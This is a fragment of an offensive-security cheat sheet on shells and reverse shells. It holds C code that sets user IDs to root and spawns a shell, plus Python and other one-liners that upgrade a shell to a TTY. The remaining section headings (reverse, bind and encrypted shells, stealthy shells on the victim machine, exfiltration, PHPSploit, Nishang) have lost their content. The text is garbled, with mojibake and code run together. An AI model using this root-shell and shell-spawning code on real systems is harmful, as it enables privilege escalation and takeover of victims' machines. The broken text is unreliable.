๐Shells and Reverse Shells Cheat Sheet
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}TTY Shell:
python -c 'import pty; pty.spawn("/bin/bash")'echo os.system('/bin/bash')/bin/sh โiexecute('/bin/sh')
Fully Interactive TTY:
Spawn Ruby Shell:
Socket (Encrypted Shell):
Bind Shell:
Reverse Shell:
Encrypted Bind Shell:
Encrypted Reverse Shell:
Telnet Reverse Shell:
PHP:
Bash:
Perl:
Stealthy Shells
#1
In the Attacker Machine
In the Victim Machine
Living Off the Land
Windows Tools
Linux Tools
PowerHub
In the Attacker Machine
In the Victim Machine
Recon Local Groups
Exfiltration In the Attacker Machine
PHPSploit
Start PHPSploit
Reverse Shell using Nishang (Windows Victim Host)
Last updated